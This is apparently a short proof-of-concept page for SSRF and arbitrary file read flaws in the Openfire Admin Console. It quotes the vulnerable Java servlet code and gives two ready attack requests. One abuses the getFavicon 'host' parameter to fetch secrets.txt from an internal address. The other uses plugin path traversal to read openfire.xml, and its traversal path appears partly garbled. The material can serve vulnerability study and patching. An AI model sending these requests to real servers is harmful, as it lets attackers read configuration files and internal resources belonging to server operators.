Openfire Admin Console SSRFa任意文件读取漏洞 poc

...public void doGet(HttpServletRequest request, HttpServletResponse response) {      String host = request.getParameter("host");      // Check special cases where we need to change host to get a favicon      host = "gmail.com".equals(host) ? "google.com" : host;
      byte[] bytes = getImage(host, defaultBytes);      if (bytes != null) {          writeBytesToStream(bytes, response);      }}
private byte[] getImage(String host, byte[] defaultImage) {    // If we've already attempted to get the favicon twice and failed,    // return the default image.    if (missesCache.get(host) != null && missesCache.get(host) > 1) {        // Domain does not have a favicon so return default icon        return defaultImage;    }    // See if we've cached the favicon.    if (hitsCache.containsKey(host)) {        return hitsCache.get(host);    }    byte[] bytes = getImage("http://" + host + "/favicon.ico");    ....}...

GET /getFavicon?host=192.168.176.1:8080/secrets.txt? HTTP/1.1

...@Overridepublic void service(HttpServletRequest request, HttpServletResponse response) {    String pathInfo = request.getPathInfo();    if (pathInfo == null) {        response.setStatus(HttpServletResponse.SC_NOT_FOUND);    }    else {        try {            // Handle JSP requests.            if (pathInfo.endsWith(".jsp")) {                ...            }            // Handle servlet requests.            else if (getServlet(pathInfo) != null) {                handleServlet(pathInfo, request, response);            }            // Handle image/other requests.            else {                handleOtherRequest(pathInfo, response);            }        }       ...}
private void handleOtherRequest(String pathInfo, HttpServletResponse response) throws IOException {    String[] parts = pathInfo.split("/");    // Image request must be in correct format.    if (parts.length < 3) {        response.setStatus(HttpServletResponse.SC_NOT_FOUND);        return;    }
    String contextPath = "";    int index = pathInfo.indexOf(parts[1]);    if (index != -1) {        contextPath = pathInfo.substring(index + parts[1].length());    }
    File pluginDirectory = new File(JiveGlobals.getHomeDirectory(), "plugins");    File file = new File(pluginDirectory, parts[1] + File.separator + "web" + contextPath);
    // When using dev environment, the images dir may be under something other that web.    Plugin plugin = pluginManager.getPlugin(parts[1]);    ...}

GET /plugins/search/......confopenfire.xml HTTP/1.1Host: localhost:9090Cookie: JSESSIONID=node01aaib5x4g4p781q3i2m2tm74u91.node0;